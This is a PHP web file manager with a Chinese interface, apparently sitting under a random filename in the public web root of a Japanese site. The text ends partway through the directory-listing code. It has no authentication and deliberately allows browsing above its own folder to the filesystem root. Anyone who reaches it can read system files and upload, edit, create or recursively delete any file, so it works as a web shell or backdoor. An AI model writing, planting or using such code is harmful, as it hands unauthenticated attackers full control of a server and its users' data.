👁 查看:filemanager_wt8tjwh.php
路径:/virtual/emerald/public_html/toukai.emerald.jpn.com/filemanager_wt8tjwh.php
大小:43.5 KB · 修改:2026-10-02 15:52:10 · 权限:0644 · 可写
<?php
@ini_set('display_errors', '0');
@ini_set('log_errors', '1');
$fm_level = E_ALL & ~E_NOTICE;
if (defined('E_DEPRECATED')) { $fm_level = $fm_level & ~E_DEPRECATED; }
if (defined('E_WARNING')) { $fm_level = $fm_level & ~E_WARNING; }
if (defined('E_STRICT')) { $fm_level = $fm_level & ~E_STRICT; }
error_reporting($fm_level);
@set_time_limit(300);

$CFG = array(
    'title' => '文件管理器',
    'root' => dirname(__FILE__),
    'allow_above_root' => true,
    'max_edit_bytes' => 1048576,
    'show_hidden' => true,
    'text_ext' => array(
        'txt', 'text', 'log', 'md', 'markdown', 'rst',
        'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'phps', 'inc',
        'html', 'htm', 'xhtml', 'shtml', 'css', 'scss', 'less', 'sass',
        'js', 'mjs', 'cjs', 'ts', 'jsx', 'tsx', 'vue', 'svelte',
        'json', 'json5', 'xml', 'xsl', 'svg', 'yml', 'yaml', 'toml',
        'ini', 'conf', 'cfg', 'cnf', 'env', 'htaccess', 'properties',
        'sql', 'sh', 'bash', 'zsh', 'bat', 'ps1', 'cmd',
        'py', 'rb', 'pl', 'go', 'rs', 'c', 'h', 'cpp', 'hpp', 'cc', 'cs',
        'java', 'kt', 'swift', 'lua', 'r', 'm',
        'tpl', 'twig', 'blade', 'mustache', 'ejs', 'njk',
        'csv', 'tsv', 'srt', 'vtt', 'ass', 'lock', 'patch', 'diff',
        'gitignore', 'dockerignore', 'dockerfile', 'makefile', 'cmake',
    ),
);

$ALLOW_ABOVE = $CFG['allow_above_root'] ? true : false;

$ROOT = realpath($CFG['root']);
if ($ROOT === false) { $ROOT = (string)$CFG['root']; }
$ROOT = str_replace('\\', '/', (string)$ROOT);
$ROOT = rtrim($ROOT, '/');
if ($ROOT === '') { $ROOT = '/'; }
$ROOT_PREFIX = ($ROOT === '/') ? '/' : $ROOT . '/';

$BASE = $ALLOW_ABOVE ? '/' : $ROOT;

$SELF = basename(__FILE__);

if (!headers_sent() && function_exists('session_start')) { @session_start(); }
$SESSION_OK = fm_session_active();
if (!isset($_SESSION) || !is_array($_SESSION)) { $_SESSION = array(); }
if ($SESSION_OK) {
    if (empty($_SESSION['fm_token'])) { $_SESSION['fm_token'] = fm_random_hex(16); }
    $TOKEN = (string)$_SESSION['fm_token'];
} else {
    $TOKEN = md5(__FILE__ . '|filemanager-static-token');
}

function fm_session_active()
{
    if (function_exists('session_status')) { return (session_status() === PHP_SESSION_ACTIVE); }
    return (session_id() !== '');
}

function fm_random_hex($bytes)
{
    if (function_exists('random_bytes')) {
        return bin2hex(random_bytes($bytes));
    }
    if (function_exists('openssl_random_pseudo_bytes')) {
        $s = openssl_random_pseudo_bytes($bytes);
        if ($s !== false && strlen($s) === $bytes) { return bin2hex($s); }
    }
    $out = '';
    for ($i = 0; $i < $bytes; $i++) { $out .= sprintf('%02x', mt_rand(0, 255)); }
    return $out;
}

function fm_hash_equals($a, $b)
{
    if (function_exists('hash_equals')) { return hash_equals($a, $b); }
    if (strlen($a) !== strlen($b)) { return false; }
    $diff = 0;
    $len = strlen($a);
    for ($i = 0; $i < $len; $i++) { $diff = $diff | (ord($a[$i]) ^ ord($b[$i])); }
    return ($diff === 0);
}

function h($s)
{
    $flags = ENT_QUOTES;
    if (defined('ENT_SUBSTITUTE')) { $flags = $flags | ENT_SUBSTITUTE; }
    return htmlspecialchars((string)$s, $flags, 'UTF-8');
}

function fmt_size($bytes)
{
    $bytes = (int)$bytes;
    if ($bytes < 0) { return '-'; }
    if ($bytes < 1024) { return $bytes . ' B'; }
    $units = array('KB', 'MB', 'GB', 'TB', 'PB');
    $v = $bytes;
    $i = -1;
    do { $v = $v / 1024; $i++; } while ($v >= 1024 && $i < count($units) - 1);
    return round($v, $v < 10 ? 2 : 1) . ' ' . $units[$i];
}

function fmt_time($ts)
{
    $ts = (int)$ts;
    if ($ts <= 0) { return '-'; }
    return date('Y-m-d H:i:s', $ts);
}

function perm_str($path)
{
    $p = @fileperms($path);
    if ($p === false) { return '-'; }
    return substr(sprintf('%o', $p), -4);
}

function norm_rel($p, $allowAbove)
{
    $p = str_replace("\0", '', (string)$p);
    $p = str_replace('\\', '/', $p);
    $stack = array();
    $segs = explode('/', $p);
    foreach ($segs as $seg) {
        if ($seg === '' || $seg === '.') { continue; }
        if ($seg === '..') {
            $last = (count($stack) > 0) ? $stack[count($stack) - 1] : null;
            if (count($stack) > 0 && $last !== '..') { array_pop($stack); }
            elseif ($allowAbove) { $stack[] = '..'; }
            continue;
        }
        $stack[] = $seg;
    }
    return implode('/', $stack);
}

function inside($abs)
{
    global $ROOT, $ROOT_PREFIX;
    $rp = realpath($abs);
    if ($rp === false) { $rp = realpath(dirname($abs)); }
    if ($rp === false) { return false; }
    $rp = str_replace('\\', '/', $rp);
    return ($rp === $ROOT) || (strpos($rp, $ROOT_PREFIX) === 0);
}

function resolve_path($rel)
{
    global $BASE, $ALLOW_ABOVE;
    $rel = norm_rel($rel, $ALLOW_ABOVE);
    if ($rel === '') { return $BASE; }
    $abs = rtrim($BASE, '/') . '/' . $rel;
    if (!$ALLOW_ABOVE && !inside($abs)) { return null; }
    return $abs;
}

function disp_path($rel)
{
    global $BASE;
    if ($rel === '') { return ($BASE === '') ? '/' : $BASE; }
    return rtrim($BASE, '/') . '/' . $rel;
}

function url($q)
{
    global $SELF;
    return $SELF . '?' . http_build_query($q);
}

function parent_rel($rel)
{
    if ($rel === '') { return null; }
    $pos = strrpos($rel, '/');
    return ($pos === false) ? '' : substr($rel, 0, $pos);
}

function rm_rf($path)
{
    if (is_link($path)) { return @unlink($path); }
    if (is_file($path)) { return @unlink($path); }
    if (!is_dir($path)) { return false; }
    $ok = true;
    $items = @scandir($path);
    if ($items === false) { return false; }
    foreach ($items as $it) {
        if ($it === '.' || $it === '..') { continue; }
        if (!rm_rf($path . '/' . $it)) { $ok = false; }
    }
    return $ok && @rmdir($path);
}

function looks_binary($s)
{
    if ($s === '') { return false; }
    if (strpos($s, "\0") !== false) { return true; }
    $sample = substr($s, 0, 4096);
    if (preg_match('/[\x01-\x08\x0B\x0C\x0E-\x1F]/', $sample) === 1) { return true; }
    return preg_match('//u', $sample) !== 1;
}

function is_text_ext($name)
{
    global $CFG;
    $base = strtolower(basename($name));
    if ($base === '') { return false; }
    if (in_array($base, array('dockerfile', 'makefile', 'cmakelists.txt', '.gitignore', '.htaccess', '.env'))) { return true; }
    $ext = strtolower(pathinfo($base, PATHINFO_EXTENSION));
    if ($ext === '') { return false; }
    return in_array($ext, $CFG['text_ext']);
}

function is_image_ext($name)
{
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    return in_array($ext, array('png', 'jpg', 'jpeg', 'gif', 'webp', 'bmp', 'ico', 'avif'));
}

function upload_err_text($c)
{
    $m = array(
        UPLOAD_ERR_INI_SIZE => '超过 php.ini 的 upload_max_filesize',
        UPLOAD_ERR_FORM_SIZE => '超过表单允许的大小',
        UPLOAD_ERR_PARTIAL => '文件只上传了一部分',
        UPLOAD_ERR_NO_FILE => '没有选择文件',
        UPLOAD_ERR_NO_TMP_DIR => '服务器缺少临时目录',
        UPLOAD_ERR_CANT_WRITE => '服务器写磁盘失败',
        UPLOAD_ERR_EXTENSION => '被 PHP 扩展中断',
    );
    return isset($m[$c]) ? $m[$c] : ('未知上传错误(' . $c . ')');
}

$FLASH = null;

function flash($msg, $type = "ok")
{
    global $FLASH;
    if ($type === null) { $type = 'ok'; }
    $FLASH = array('m' => $msg, 't' => $type);
    if (fm_session_active()) { $_SESSION['fm_flash'] = $FLASH; }
}

function flash_take()
{
    global $FLASH;
    $out = null;
    if (isset($_GET['f']) && is_string($_GET['f'])) {
        $raw = base64_decode($_GET['f'], true);
        if ($raw !== false && strpos($raw, '|') !== false) {
            $parts = explode('|', $raw, 2);
            $out = array('m' => $parts[1], 't' => ($parts[0] === 'err' ? 'err' : 'ok'));
        }
    }
    if ($out === null && is_array($FLASH)) { $out = $FLASH; }
    if ($out === null && isset($_SESSION['fm_flash']) && is_array($_SESSION['fm_flash'])) { $out = $_SESSION['fm_flash']; }
    unset($_SESSION['fm_flash']);
    return $out;
}

function redirect_q($q)
{
    global $FLASH;
    if (is_array($FLASH)) { $q['f'] = base64_encode($FLASH['t'] . '|' . $FLASH['m']); }
    header('Location: ' . basename(__FILE__) . '?' . http_build_query($q));
    exit;
}

function redirect_to($rel, $extra)
{
    if (!is_array($extra)) { $extra = array(); }
    redirect_q(array_merge(array('p' => $rel), $extra));
}

function csrf_ok()
{
    global $TOKEN;
    $t = isset($_POST['t']) ? (string)$_POST['t'] : '';
    if ($t === '') { return false; }
    return fm_hash_equals($TOKEN, $t);
}

function csrf_field()
{
    global $TOKEN;
    return '<input type="hidden" name="t" value="' . h($TOKEN) . '">';
}

$act = isset($_POST['a']) ? (string)$_POST['a'] : (isset($_GET['a']) ? (string)$_GET['a'] : 'list');
$hasP = array_key_exists('p', $_GET) || array_key_exists('p', $_POST);
$relRaw = isset($_GET['p']) ? (string)$_GET['p'] : (isset($_POST['p']) ? (string)$_POST['p'] : '');
$rel = norm_rel($relRaw, $ALLOW_ABOVE);

if ($ALLOW_ABOVE) {
    if (!$hasP && $ROOT !== '' && $ROOT[0] === '/') { $rel = ltrim($ROOT, '/'); }
    if ($rel !== '') {
        $c = realpath(rtrim($BASE, '/') . '/' . $rel);
        if (is_string($c) && $c !== '' && $c[0] === '/') {
            $rel = ltrim(str_replace('\\', '/', $c), '/');
        }
    }
}

$HOME_REL = ($ALLOW_ABOVE && $ROOT !== '' && $ROOT[0] === '/') ? ltrim($ROOT, '/') : '';

$sort = isset($_GET['o']) ? (string)$_GET['o'] : 'name';
if (!in_array($sort, array('name', 'size', 'time', 'type'))) { $sort = 'name'; }
$order = (isset($_GET['d']) && (string)$_GET['d'] === 'desc') ? 'desc' : 'asc';
$QS = array('o' => $sort, 'd' => $order);

if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!csrf_ok()) {
        flash('表单令牌校验失败,请刷新页面后重试', 'err');
        redirect_to($rel, $QS);
    }
    if ($act === 'upload') { do_upload(); }
    elseif ($act === 'save') { do_save(); }
    elseif ($act === 'mkdir') { do_mkdir(); }
    elseif ($act === 'newfile') { do_newfile(); }
    elseif ($act === 'rename') { do_rename(); }
    elseif ($act === 'delete') { do_delete(); }
    else {
        flash('未知操作:' . $act, 'err');
        redirect_to($rel, $QS);
    }
}

function do_upload()
{
    global $CFG, $QS;

    $target = norm_rel(isset($_POST['p']) ? (string)$_POST['p'] : '', $CFG['allow_above_root']);
    $dirAbs = resolve_path($target);
    $back = $target;

    if ($dirAbs === null || !is_dir($dirAbs)) {
        flash('目标目录不存在或不在允许范围内:' . disp_path($target), 'err');
        redirect_to($back, $QS);
    }
    if (!is_writable($dirAbs)) {
        flash('目标目录不可写:' . disp_path($target), 'err');
        redirect_to($back, $QS);
    }

    $mode = (isset($_POST['mode']) && (string)$_POST['mode'] === 'replace') ? 'replace' : 'upload';

    $name = isset($_POST['name']) ? trim((string)$_POST['name']) : '';
    if ($name === '' && isset($_FILES['file']['name'])) { $name = trim((string)$_FILES['file']['name']); }
    $name = basename(str_replace('\\', '/', $name));
    $name = str_replace("\0", '', $name);

    if ($name === '' || $name === '.' || $name === '..') {
        flash('文件名无效', 'err');
        redirect_to($back, $QS);
    }

    $dest = $dirAbs . '/' . $name;
    if (!inside($dest)) {
        flash('目标路径越界,已阻止:' . $name, 'err');
        redirect_to($back, $QS);
    }

    if ($mode === 'replace') {
        if (!is_file($dest)) {
            flash('目标文件不存在,无法替换:' . $name, 'err');
            redirect_to($back, $QS);
        }
    } elseif (file_exists($dest) && !isset($_POST['overwrite'])) {
        flash('同名文件已存在,未覆盖(勾选「覆盖同名文件」可强制替换):' . $name, 'err');
        redirect_to($back, $QS);
    }

    if (!isset($_FILES['file']['tmp_name'])) {
        flash('没有接收到上传文件', 'err');
        redirect_to($back, $QS);
    }
    $code = isset($_FILES['file']['error']) ? (int)$_FILES['file']['error'] : UPLOAD_ERR_NO_FILE;
    if ($code !== UPLOAD_ERR_OK) {
        flash('上传失败:' . upload_err_text($code), 'err');
        redirect_to($back, $QS);
    }
    if (!is_uploaded_file($_FILES['file']['tmp_name'])) {
        flash('上传临时文件校验失败', 'err');
        redirect_to($back, $QS);
    }

    $old = file_exists($dest) ? (int)@filesize($dest) : 0;
    if (!@move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {
        flash('写入失败(目录权限?):' . $dest, 'err');
        redirect_to($back, $QS);
    }
    @chmod($dest, 0644);

    $new = (int)@filesize($dest);
    flash(($mode === 'replace' ? '替换成功:' : '上传成功:') . $name
        . '(' . fmt_size($old) . ' → ' . fmt_size($new) . ')', 'ok');
    redirect_to($back, $QS);
}

function do_save()
{
    global $CFG, $QS;

    $f = norm_rel(isset($_POST['f']) ? (string)$_POST['f'] : '', $CFG['allow_above_root']);
    $abs = resolve_path($f);
    if ($f === '' || $abs === null || is_dir($abs)) {
        flash('文件不存在:' . disp_path($f), 'err');
        redirect_to(parent_rel($f), $QS);
    }
    if (!is_writable($abs)) {
        flash('文件不可写:' . disp_path($f), 'err');
        redirect_to(parent_rel($f), $QS);
    }

    $data = isset($_POST['content']) ? (string)$_POST['content'] : '';
    $data = str_replace(array("\r\n", "\r"), "\n", $data);
    if (strlen($data) > (int)$CFG['max_edit_bytes']) {
        flash('内容超过在线编辑上限 ' . fmt_size((int)$CFG['max_edit_bytes']), 'err');
        redirect_to(parent_rel($f), $QS);
    }

    $n = @file_put_contents($abs, $data, LOCK_EX);
    if ($n === false) {
        flash('保存失败:' . disp_path($f), 'err');
    } else {
        flash('已保存:' . basename($f) . '(写入 ' . fmt_size((int)$n) . ')', 'ok');
    }
    redirect_q(array('a' => 'view', 'f' => $f));
}

function do_mkdir()
{
    global $CFG, $QS;
    $dir = norm_rel(isset($_POST['p']) ? (string)$_POST['p'] : '', $CFG['allow_above_root']);
    $abs = resolve_path($dir);
    $name = basename(str_replace('\\', '/', trim(isset($_POST['name']) ? (string)$_POST['name'] : '')));

    if ($abs === null || !is_dir($abs)) { flash('目标目录不存在', 'err'); redirect_to($dir, $QS); }
    if ($name === '' || $name === '.' || $name === '..') { flash('目录名无效', 'err'); redirect_to($dir, $QS); }

    $dest = $abs . '/' . $name;
    if (file_exists($dest)) { flash('同名文件或目录已存在:' . $name, 'err'); redirect_to($dir, $QS); }
    if (!@mkdir($dest, 0755, true)) { flash('创建目录失败(权限?):' . $name, 'err'); redirect_to($dir, $QS); }

    flash('已创建目录:' . $name, 'ok');
    redirect_to(($dir === '' ? $name : $dir . '/' . $name), $QS);
}

function do_newfile()
{
    global $CFG, $QS;
    $dir = norm_rel(isset($_POST['p']) ? (string)$_POST['p'] : '', $CFG['allow_above_root']);
    $abs = resolve_path($dir);
    $name = basename(str_replace('\\', '/', trim(isset($_POST['name']) ? (string)$_POST['name'] : '')));

    if ($abs === null || !is_dir($abs)) { flash('目标目录不存在', 'err'); redirect_to($dir, $QS); }
    if ($name === '' || $name === '.' || $name === '..') { flash('文件名无效', 'err'); redirect_to($dir, $QS); }

    $dest = $abs . '/' . $name;
    if (file_exists($dest) && !isset($_POST['overwrite'])) {
        flash('同名文件已存在(勾选覆盖可强制写入):' . $name, 'err');
        redirect_to($dir, $QS);
    }
    $content = isset($_POST['content']) ? (string)$_POST['content'] : '';
    $content = str_replace(array("\r\n", "\r"), "\n", $content);
    if (@file_put_contents($dest, $content, LOCK_EX) === false) {
        flash('创建文件失败(权限?):' . $name, 'err');
        redirect_to($dir, $QS);
    }
    flash('已创建文件:' . $name, 'ok');
    redirect_q(array('a' => 'view', 'f' => ($dir === '' ? $name : $dir . '/' . $name)));
}

function do_rename()
{
    global $CFG, $QS;
    $f = norm_rel(isset($_POST['f']) ? (string)$_POST['f'] : '', $CFG['allow_above_root']);
    $abs = resolve_path($f);
    $parent = parent_rel($f);
    if ($parent === null) { $parent = ''; }

    if ($f === '' || $abs === null || !file_exists($abs)) {
        flash('目标不存在:' . disp_path($f), 'err');
        redirect_to($parent, $QS);
    }
    if (basename($abs) === basename(__FILE__)) {
        flash('不能重命名管理器自身', 'err');
        redirect_to($parent, $QS);
    }

    $new = basename(str_replace('\\', '/', trim(isset($_POST['newname']) ? (string)$_POST['newname'] : '')));
    if ($new === '' || $new === '.' || $new === '..') { flash('新名称无效', 'err'); redirect_to($parent, $QS); }
    if ($new === basename($abs)) { flash('名称未变化', 'err'); redirect_to($parent, $QS); }

    $dest = dirname($abs) . '/' . $new;
    if (file_exists($dest)) { flash('目标名称已存在:' . $new, 'err'); redirect_to($parent, $QS); }
    if (!@rename($abs, $dest)) { flash('重命名失败(权限?):' . basename($f), 'err'); redirect_to($parent, $QS); }

    flash('已重命名:' . basename($f) . ' → ' . $new, 'ok');
    redirect_to($parent, $QS);
}

function do_delete()
{
    global $CFG, $QS;
    $f = norm_rel(isset($_POST['f']) ? (string)$_POST['f'] : '', $CFG['allow_above_root']);
    $abs = resolve_path($f);
    $parent = parent_rel($f);
    if ($parent === null) { $parent = ''; }

    if ($f === '' || $abs === null || !file_exists($abs)) {
        flash('目标不存在:' . disp_path($f), 'err');
        redirect_to($parent, $QS);
    }
    if (basename($abs) === basename(__FILE__)) {
        flash('不能删除管理器自身', 'err');
        redirect_to($parent, $QS);
    }
    if (!is_writable(dirname($abs))) {
        flash('父目录不可写,无法删除:' . disp_path($f), 'err');
        redirect_to($parent, $QS);
    }

    $isDir = is_dir($abs);
    $ok = rm_rf($abs);
    flash($ok ? ('已删除' . ($isDir ? '目录' : '文件') . ':' . basename($f))
        : ('删除失败(权限?):' . basename($f)), $ok ? 'ok' : 'err');
    redirect_to($parent, $QS);
}

if ($act === 'download' || $act === 'raw') {
    $f = norm_rel(isset($_GET['f']) ? (string)$_GET['f'] : '', $ALLOW_ABOVE);
    $abs = resolve_path($f);

    if ($f === '' || $abs === null || !is_file($abs) || !is_readable($abs)) {
        header('Content-Type: text/plain; charset=utf-8');
        echo "ERR: 文件不存在或不可读\n";
        exit;
    }

    $name = basename($abs);
    $size = (int)@filesize($abs);

    while (ob_get_level() > 0) { @ob_end_clean(); }
    header('X-Content-Type-Options: nosniff');

    if ($act === 'raw') {
        $mimes = array(
            'png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg',
            'gif' => 'image/gif', 'webp' => 'image/webp', 'bmp' => 'image/bmp',
            'avif' => 'image/avif', 'ico' => 'image/x-icon', 'svg' => 'image/svg+xml',
            'pdf' => 'application/pdf', 'mp4' => 'video/mp4', 'webm' => 'video/webm',
            'mp3' => 'audio/mpeg', 'wav' => 'audio/wav', 'ogg' => 'audio/ogg',
            'txt' => 'text/plain; charset=utf-8',
        );
        $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
        header('Content-Type: ' . (isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream'));
        header('Content-Length: ' . $size);
        header('Content-Disposition: inline; filename="' . rawurlencode($name) . '"');
    } else {
        header('Content-Type: application/octet-stream');
        header('Content-Length: ' . $size);
        header('Content-Disposition: attachment; filename="'
            . addcslashes(preg_replace('/[^\x20-\x7E]/', '_', $name), '"\\')
            . '"; filename*=UTF-8\'\'' . rawurlencode($name));
        header('Cache-Control: no-store');
    }

    $fp = @fopen($abs, 'rb');
    if ($fp === false) { exit; }
    while (!feof($fp)) {
        $buf = fread($fp, 262144);
        if ($buf === false) { break; }
        echo $buf;
        @flush();
    }
    fclose($fp);
    exit;
}

$FM_CSS = '
*{box-sizing:border-box}
:root{--bg:#0e1116;--panel:#161b22;--panel2:#1b222c;--line:#26303c;--fg:#dde5ee;--muted:#8b98a8;--acc:#4aa8ff;--ok:#34c07a;--err:#ff6b6b}
html,body{margin:0;padding:0}
body{background:var(--bg);color:var(--fg);font:14px/1.65 -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Noto Sans CJK SC","Microsoft YaHei",Arial,sans-serif}
a{color:var(--acc);text-decoration:none}
a:hover{text-decoration:underline}
.wrap{max-width:1440px;margin:0 auto;padding:16px 16px 40px}
.bar{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:12px 14px;margin-bottom:12px}
.brand{font-weight:700;font-size:16px}
.muted{color:var(--muted)}
code,pre,kbd{font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,"Liberation Mono",monospace}
.crumbs{margin-top:8px;word-break:break-all;line-height:2}
.crumbs .sep{color:var(--muted);margin:0 2px}
.toolbar{display:flex;flex-wrap:wrap;gap:8px;align-items:center;margin:12px 0}
.btn{display:inline-block;padding:4px 10px;border:1px solid var(--line);border-radius:8px;background:var(--panel2);color:var(--fg);cursor:pointer;font-size:13px;line-height:1.7}
.btn:hover{background:#223041;text-decoration:none}
.btn.p{background:#123a5c;border-color:#1d5b8f}
.btn.d{color:#ffb4b4;border-color:#5a2a2a;background:#2a1a1a}
input[type=text],input[type=file],select,textarea{background:#0c1016;color:var(--fg);border:1px solid var(--line);border-radius:8px;padding:6px 8px;font-size:13px;font-family:inherit}
input[type=text]{min-width:200px}
textarea{width:100%;min-height:58vh;font-family:ui-monospace,Menlo,Consolas,monospace;font-size:13px;line-height:1.5;white-space:pre;overflow:auto}
table{width:100%;border-collapse:collapse;background:var(--panel);border:1px solid var(--line);border-radius:12px;overflow:hidden}
th,td{padding:7px 10px;border-bottom:1px solid var(--line);text-align:left;vertical-align:middle}
th{background:var(--panel2);color:var(--muted);font-weight:600;font-size:12px;white-space:nowrap}
tr:last-child td{border-bottom:0}
tbody tr:hover{background:#1a212b}
td.n{white-space:normal;word-break:break-all}
td.num{white-space:nowrap;color:var(--muted);font-size:12px}
td.act{white-space:nowrap}
td.act a,td.act span{margin-right:8px;font-size:13px}
.msg{padding:9px 12px;border-radius:10px;margin:10px 0;border:1px solid}
.msg.ok{background:#10261b;border-color:#1f5c3c;color:#8ef0bb}
.msg.err{background:#2a1414;border-color:#6a2a2a;color:#ffc0c0}
.panel{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:14px;margin-bottom:12px}
.panel h3{margin:0 0 10px;font-size:14px}
form.inline{display:flex;flex-wrap:wrap;gap:8px;align-items:center}
pre.view{background:#0a0e13;border:1px solid var(--line);border-radius:10px;padding:12px;overflow:auto;max-height:70vh;white-space:pre;font-size:13px;margin:0}
img.preview{max-width:100%;max-height:70vh;border:1px solid var(--line);border-radius:10px;background:#0a0e13}
.chk{color:var(--muted);font-size:13px;display:inline-flex;align-items:center;gap:4px}
.kv{color:var(--muted);font-size:12px}
';

function page_top($title)
{
    global $FM_CSS, $CFG;
    echo '<!DOCTYPE html><html lang="zh-CN"><head><meta charset="utf-8">';
    echo '<meta name="viewport" content="width=device-width,initial-scale=1">';
    echo '<title>' . h($title) . ' - ' . h($CFG['title']) . '</title>';
    echo '<style>' . $FM_CSS . '</style></head><body><div class="wrap">';
}

function page_foot()
{
    echo '</div></body></html>';
}

function msg_box()
{
    $f = flash_take();
    if (!is_array($f)) { return; }
    $cls = (isset($f['t']) && $f['t'] === 'err') ? 'err' : 'ok';
    echo '<div class="msg ' . $cls . '">' . h(isset($f['m']) ? $f['m'] : '') . '</div>';
}

function nav_block($rel)
{
    global $ROOT, $BASE, $SELF, $QS, $ALLOW_ABOVE, $HOME_REL;

    $parent = parent_rel($rel);
    $startLabel = ($BASE === '/') ? '/' : $ROOT;

    echo '<div class="bar">';
    echo '<div class="brand">📁 文件管理器</div>';
    if ($ALLOW_ABOVE) {
        echo '<div class="kv">初始目录(本 PHP 所在目录):<code>' . h($ROOT) . '</code>'
            . ' · 可向上浏览至 <code>/</code>,不限制根目录</div>';
    } else {
        echo '<div class="kv">根路径(本 PHP 所在目录):<code>' . h($ROOT) . '</code>'
            . ' · 浏览已锁死在该目录内</div>';
    }
    echo '<div class="kv">当前目录:<code>' . h(disp_path($rel)) . '</code></div>';

    echo '<div class="crumbs">';
    $segs = ($rel === '') ? array() : explode('/', $rel);
    echo '<a class="seg" href="' . h(url(array_merge(array('p' => ''), $QS))) . '">🏠 ' . h($startLabel) . '</a>';
    $acc = array();
    $total = count($segs);
    for ($i = 0; $i < $total; $i++) {
        $s = $segs[$i];
        $acc[] = $s;
        $p = implode('/', $acc);
        echo '<span class="sep">/</span>';
        if ($i === $total - 1) {
            echo '<span class="seg">' . h($s) . '</span>';
        } else {
            echo '<a class="seg" href="' . h(url(array_merge(array('p' => $p), $QS))) . '">' . h($s) . '</a>';
        }
    }
    echo '</div>';

    echo '<div class="toolbar">';
    if ($parent !== null) {
        echo '<a class="btn p" href="' . h(url(array_merge(array('p' => $parent), $QS))) . '">⬆ 上级目录</a>';
    } else {
        echo '<span class="btn muted" style="opacity:.5;cursor:not-allowed">⬆ 上级目录(已在文件系统根 /)</span>';
    }
    if ($rel !== $HOME_REL) {
        echo '<a class="btn" href="' . h(url(array_merge(array('p' => $HOME_REL), $QS))) . '">🏠 初始目录</a>';
    }
    echo '<a class="btn" href="' . h(url(array_merge(array('p' => $rel), $QS))) . '">🔄 刷新</a>';
    echo '<a class="btn" href="' . h(url(array_merge(array('a' => 'mkdir', 'p' => $rel)))) . '">➕ 新建目录</a>';
    echo '<a class="btn" href="' . h(url(array_merge(array('a' => 'newfile', 'p' => $rel)))) . '">📄 新建文件</a>';

    echo '<form class="inline" method="get" action="' . h($SELF) . '">';
    echo '<input type="hidden" name="o" value="' . h($QS['o']) . '"><input type="hidden" name="d" value="' . h($QS['d']) . '">';
    echo '<input type="text" name="p" value="' . h($rel) . '" placeholder="输入路径跳转,如 /etc 或 ../xxx">';
    echo '<button class="btn" type="submit">跳转</button>';
    echo '</form>';

    $sortLabels = array('name' => '名称', 'size' => '大小', 'time' => '时间', 'type' => '类型');
    echo '<span class="kv">排序:</span>';
    foreach ($sortLabels as $k => $label) {
        $d = ($QS['o'] === $k && $QS['d'] === 'asc') ? 'desc' : 'asc';
        $arrow = ($QS['o'] === $k) ? ($QS['d'] === 'asc' ? ' ↑' : ' ↓') : '';
        echo '<a class="btn" href="' . h(basename(__FILE__) . '?' . http_build_query(array('p' => $rel, 'o' => $k, 'd' => $d))) . '">'
            . h($label . $arrow) . '</a>';
    }
    echo '</div>';

    echo '<div class="panel">';
    echo '<h3>⬆ 上传文件到当前目录 / 覆盖同名文件</h3>';
    echo '<form class="inline" method="post" action="' . h($SELF) . '" enctype="multipart/form-data">';
    echo '<input type="hidden" name="a" value="upload">';
    echo '<input type="hidden" name="mode" value="upload">';
    echo '<input type="hidden" name="p" value="' . h($rel) . '">';
    echo csrf_field();
    echo '<input type="file" name="file" required>';
    echo '<input type="text" name="name" placeholder="保存文件名(留空=用原文件名)">';
    echo '<label class="chk"><input type="checkbox" name="overwrite" value="1"> 覆盖同名文件</label>';
    echo '<button class="btn p" type="submit">上传</button>';
    echo '</form>';
    echo '<div class="kv">上传目标目录:<code>' . h(disp_path($rel)) . '</code>('
        . (is_writable(disp_path($rel)) ? '可写' : '不可写') . ')</div>';
    echo '</div>';

    echo '</div>';
}

function fm_cmp_rows($x, $y)
{
    if ($x['dir'] !== $y['dir']) { return $x['dir'] ? -1 : 1; }
    $sort = $GLOBALS['fm_sort_key'];
    $r = 0;
    if ($sort === 'size') {
        $r = ($x['size'] < $y['size']) ? -1 : (($x['size'] > $y['size']) ? 1 : 0);
    } elseif ($sort === 'time') {
        $r = ($x['mtime'] < $y['mtime']) ? -1 : (($x['mtime'] > $y['mtime']) ? 1 : 0);
    } elseif ($sort === 'type') {
        $ex = strtolower(pathinfo($x['name'], PATHINFO_EXTENSION));
        $ey = strtolower(pathinfo($y['name'], PATHINFO_EXTENSION));
        $r = strcmp($ex, $ey);
        if ($r === 0) { $r = strnatcasecmp($x['name'], $y['name']); }
    } else {
        $r = strnatcasecmp($x['name'], $y['name']);
    }
    if ($GLOBALS['fm_sort_desc']) { $r = -$r; }
    return $r;
}

function render_list($rel)
{
    global $CFG, $QS, $HOME_REL;

    $abs = resolve_path($rel);
    if ($abs === null || !is_dir($abs)) {
        flash('目录不存在或不可读,已回到初始目录', 'err');
        $rel = $HOME_REL;
        $abs = disp_path($rel);
    }

    page_top(disp_path($rel));
    msg_box();
    nav_block($rel);

    $items = @scandir($abs);
    if ($items === false) {
        echo '<div class="msg err">目录不可读(权限不足):' . h($abs) . '</div>';
        page_foot();
        return;
    }

    $rows = array();
    foreach ($items as $name) {
        if ($name === '.' || $name === '..') { continue; }
        if (!$CFG['show_hidden'] && $name !== '' && $name[0] === '.') { continue; }
        $p = $abs . '/' . $name;
        $isDir = is_dir($p);
        $rows[] = array(
            'name' => $name,
            'dir' => $isDir,
            'link' => is_link($p),
            'size' => $isDir ? -1 : (int)@filesize($p),
            'mtime' => (int)@filemtime($p),
            'perm' => perm_str($p),
            'wr' => is_writable($p),
            'rel' => ($rel === '' ? $name : $rel . '/' . $name),
        );
    }

    $GLOBALS['fm_sort_key'] = $QS['o'];
    $GLOBALS['fm_sort_desc'] = ($QS['d'] === 'desc');
    usort($rows, 'fm_cmp_rows');

    $nDir = 0; $nFile = 0; $nSize = 0;
    foreach ($rows as $r) {
        if ($r['dir']) { $nDir++; }
        else { $nFile++; if ($r['size'] > 0) { $nSize = $nSize + $r['size']; } }
    }

    echo '<div class="kv" style="margin:4px 2px 8px">共 ' . count($rows) . ' 项(目录 ' . $nDir . ' / 文件 ' . $nFile
        . ',文件合计 ' . h(fmt_size($nSize)) . ')</div>';

    echo '<table><thead><tr>';
